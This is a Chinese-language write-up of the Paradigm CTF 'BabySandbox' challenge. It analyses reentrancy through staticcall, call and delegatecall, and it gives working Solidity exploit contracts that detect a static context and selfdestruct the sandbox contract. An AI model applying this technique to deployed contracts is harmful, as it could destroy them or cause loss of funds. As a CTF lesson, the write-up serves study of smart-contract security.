本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。
本题目是Paradigm的CTF系列中的一道,属于较为简单的题目。它主要考察了StaticCall这一知识点。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 🐟 。如果你觉得我写的还不错,可以加我的微信:woodward1993
简单来讲,就是将合约babysandbox销毁掉,从而满足:extcodesize(sload(sandbox.slot)==0
这一条件。:fish:
本题目一共就两个合约,一个setup和一个babysandbox. 比上道题目代理合约要简单不少。
extcodesize(sload(sandbox.slot)==0
,来判断是否完成挑战babysandbox合约:只有一个方法,run(address)
,这个方法有如下特点:
:triangular_flag_on_post:没有nonReentrancy
修饰符,可以重进入
:triangular_flag_on_post:合约中存在delegateCall,staticCall,call
,且合约的主要逻辑也是通过delegateCall,staticCall,call
来实现的
这道题目的逻辑分析跟上次做的ParadigmCTF-Bank非常相似,Bank那道题目也是存在重进入位点,并且重进入位点都有各自的限制,并每处修改的状态也不一样。故这次我们可以借用相同的逻辑,来分析本题的远程调用位点和各自的限制等。
远程调用位点 | 限制 | 状态改变 |
---|---|---|
delegatecall(code) |
msg.sender==address(this) |
0=>revert,1=>return |
staticcall(address()) |
NA | 0=>revert |
call(address()) |
NA | 0=>codecopy,1=>return |
:fast_forward:从前向后分析:
简单看,我们的外部合约通过调用exploit()
方法,调用babysandbox.run(code)
方法,并将外部合约的地址作为参数传入。根据如下流程图,首先会判断msg.sender == address(this)
,即判断是否为合约自身调用。由于我们是外部调用该合约,故此时的msg.sender
是code合约地址,判断为否。然后进入staticcall(address(this))
部分,它重进入自己的合约内,再次调用babysandbox.run(code)
方法。此时需注意,由于是重进入,故此时的msg.sender
与address(this)
相等。故经过判定,会进入到delegatecall(code)
的逻辑中。在delegatecall(code)
逻辑中,实际上是调用调用外部合约code的fallback()
方法,注意此时为staticcall
的调用环境,故此时应该让其直接返回success
即可。staticcall(address(this))
通过后,会进入call(address(this))
调用,同样的参数,同样的逻辑过程。只是需要在code.fallback()
函数中,不直接返回,而是执行selfdestruct(tx.origin)
来销毁babysandbox合约。
st=>start: code.exploit()
op=>operation: babysandbox.run(code)
delegate=>operation: delegatecall(code)
static=>operation: staticcall or call(address(this))
fallback=>operation: code.fallback()
selfdestruct=>operation: selfdestruct()
cond=>condition: msg.sender == address(this)
cond2=>condition: success?
cond3=>condition: staticcall or call
e=>end: revert
revert=>end: revert
return=>operation: return
call=>operation: call(address(this))
st->op->cond
cond(yes)->delegate
cond(no)->static
static->op
delegate->fallback
fallback->cond3
cond3(yes)->cond2
cond3(no)->selfdestruct->cond2
cond2(yes)->return
cond2(no)->revert
:cat:注意点1:对于call调用的参数理解
call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
=>
gas 数量= 0x4000
目标地址: babysandbox合约地址
参数:为内存中MEM[0x00:0x00+calldatasize()],即外部调用时的calldata
返回值拷贝0
结合上篇文章对于CALL这一OPCODE的分析,可以知道它实际上是将原先的外部调用的calldata重新再次调用。实际上是重进入。
:cat:注意点2:对于delegatecall
调用的理解
由于在执行code.fallback()
时,是在delegatecall
的上下文环境下执行。故需要注意delegatecall
的特点,即内存和存储都是本地合约,代码是远程合约。在写fallback()时,要注意读取参数时的上下文环境。
:fast_forward:整理成调用栈
故我们将上述流程图,整理成调用栈为:
code.exploit()
->babysandbox.run(code)
->babysandbox.staticcall(address(this))
->babysandbox.run(code)
->babysandbox.delegatecall(code)
->code.fallback()
return //满足staticcall的要求,不能改变任何地址,合约的状态
->babysandbox.call(address(this))
->babysandbox.run(code)
->babysandbox.delegatecall(code)
->code.fallback()
selfdestruct //满足题目要求,让babysandbox合约自毁
此时,我们发现问题的关键在于code.fallback()
方法,其需要在staticcall和call
中执行不同的逻辑。我们可以写出如下的伪代码:
pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE1 {
Setup public setup;
BabySandbox public babysandbox;
constructor(address _setup) public {
setup = Setup(_setup);
babysandbox = setup.sandbox();
}
fallback() external payable{
if (something) {
return;
} else {
selfdestruct(tx.origin);
}
}
function exploit() public {
babysandbox.run(address(this));
}
}
此时,问题转化为,如何让我们的fallback函数能够判断它是由call调用还是staticcall调用?
当然,结合我们之前的经验,要使得同一个函数在不同调用中展示不同的逻辑,我们可以有如下三个方法:
使用全局变量,每一次调用时,根据条件更改一个全局变量的值。下次调用时,根据全局变量的值,来执行不同的逻辑。典型的利用如Paradigm CTF-银行中提到的:这里的reentry就是一个全局变量,初始化时将其设置为1,展示逻辑1,同时在逻辑1中更改其值,然后再重进入该合约,执行不同的逻辑。然而在staticcall
的上下文环境中,不允许修改状态,不允许更改全局变量的值。故此方法无法使用。
uint reentry = 1;
function balanceOf(address who) public returns (uint){
// withdrawToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 2 [1, 0]
// withdrawToken 2 [0, -1]
if (reentry == 1) {
reentry = 0;
Bank(bank).closeLastAccount();
reentry = 2;
Bank(bank).depositToken(0, address(this), 0);
} else if (reentry == 2) {
Bank(bank).closeLastAccount();
reentry = 0;
}
return 0;
}
根据剩余的Gas来判断。此时我们观察到他的执行顺序是先执行staticcall
再执行call
,故如果我们通过判断gasleft()
,gas量多的为第一次执行,即staticcall
,gas量少的为第二次执行,即call
fallback() external payable{
if (gasleft() > _value) {
return;
} else {
selfdestruct(tx.origin);
}
}
但是在本题目中,它通过设定每次调用的gas总量堵死了该判断方式。无论在staticcall
还是call
,它每次调用的gas总量都是0x4000
.
通过EIP-214得知,staticcall
的本质是严禁修改任何地址,合约的状态,即不允许使用create,create2,LOG0-4,sstore,selfdestruct
等OPCODE以及ETH的转账。而call
则允许状态修改。故而,我们可以利用这一点,通过在上下文环境中,call
一个外部地址的方法,该方法会修改状态。这里利用的是CALL这一OPCODE的返回值,如果CALL远程地址的过程中,遇到了REVERT,其并不会整个全部REVERT,而是标记返回值为0。如果CALL远程地址成功,则标记返回值为1。
$$ \boldsymbol{\mu}'_{\mathbf{s}}[0] \equiv x\ $$
如果执行过程中,遇到异常停顿,如REVERT,或者没有足够的ETH,或者栈深度超过1024,返回值X=0, 否则执行成功,返回值X=1
pragma solidity 0.7.0;
import "./Setup.sol";
contract CODE3 {
Setup public setup;
BabySandbox public babysandbox;
constructor(address _setup) public {
setup = Setup(_setup);
babysandbox = setup.sandbox();
}
fallback() external payable{
bool flag;
assembly{
let code2_addr := 0x5e17b14ADd6c386305A32928F985b29bbA34Eff5 //部署CODE2后的地址
flag := call(gas(),code2_addr,0,0,0,0,0)
}
if (!flag) {
return;
} else {
selfdestruct(tx.origin);
}
}
function exploit() public {
babysandbox.run(address(this));
}
}
contract CODE2 { //部署CODE2后的地址为:0x5e17b14ADd6c386305A32928F985b29bbA34Eff5
fallback() external payable{
selfdestruct(tx.origin);
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!